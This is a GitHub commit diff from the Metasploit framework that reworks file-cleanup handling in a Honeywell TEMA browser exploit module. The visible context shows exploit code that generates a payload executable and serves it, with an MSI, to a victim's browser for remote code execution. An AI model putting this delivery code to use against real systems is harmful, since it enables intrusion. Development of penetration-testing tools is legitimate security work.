Skip to content

Commit 377905b

Browse files
author
jvazquez-r7
committed
Avoid FileDropper in this case
1 parent 52982c0 commit 377905b

File tree

1 file changed

+10
-5
lines changed

1 file changed

+10
-5
lines changed

modules/exploits/windows/browser/honeywell_tema_exec.rb

Lines changed: 10 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -12,7 +12,6 @@ class Metasploit3 < Msf::Exploit::Remote
1212

1313
include Msf::Exploit::Remote::HttpServer::HTML
1414
include Msf::Exploit::EXE
15-
include Msf::Exploit::FileDropper
1615
include Msf::Exploit::Remote::BrowserAutopwn
1716

1817
autopwn_info({
@@ -77,12 +76,21 @@ def initialize(info={})
7776
], self.class)
7877
end
7978

79+
def exploit
80+
@dropped_files = [
81+
'payload.exe',
82+
'ThinClient_TemaKit.msi',
83+
'ThinClient_TemaKit.log'
84+
]
85+
super
86+
end
87+
8088
def on_new_session(session)
8189
if session.type == "meterpreter"
8290
session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")
8391
end
8492

85-
@dropped_files.delete_if do |file|
93+
@dropped_files.each do |file|
8694
win_file = file.gsub("/", "\\\\")
8795
if session.type == "meterpreter"
8896
begin
@@ -123,7 +131,6 @@ def on_request_uri(cli, request)
123131
data = generate_payload_exe({:code=>p.encoded})
124132
print_status("Sending payload")
125133
send_response(cli, data, {'Content-Type'=>'application/octet-stream'})
126-
register_file_for_cleanup("payload.exe") unless @dropped_files and @dropped_files.include?("payload.exe")
127134
return
128135
end
129136

@@ -132,8 +139,6 @@ def on_request_uri(cli, request)
132139
source = ::File.open(msi_source, "rb"){|fd| fd.read(fd.stat.size) }
133140
print_status("Sending msi")
134141
send_response(cli, source, {'Content-Type'=>'application/octet-stream'})
135-
register_file_for_cleanup("ThinClient_TemaKit.msi") unless @dropped_files and @dropped_files.include?("ThinClient_TemaKit.msi")
136-
register_file_for_cleanup("ThinClient_TemaKit.log") unless @dropped_files and @dropped_files.include?("ThinClient_TemaKit.log")
137142
return
138143
end
139144

0 commit comments

Comments
 (0)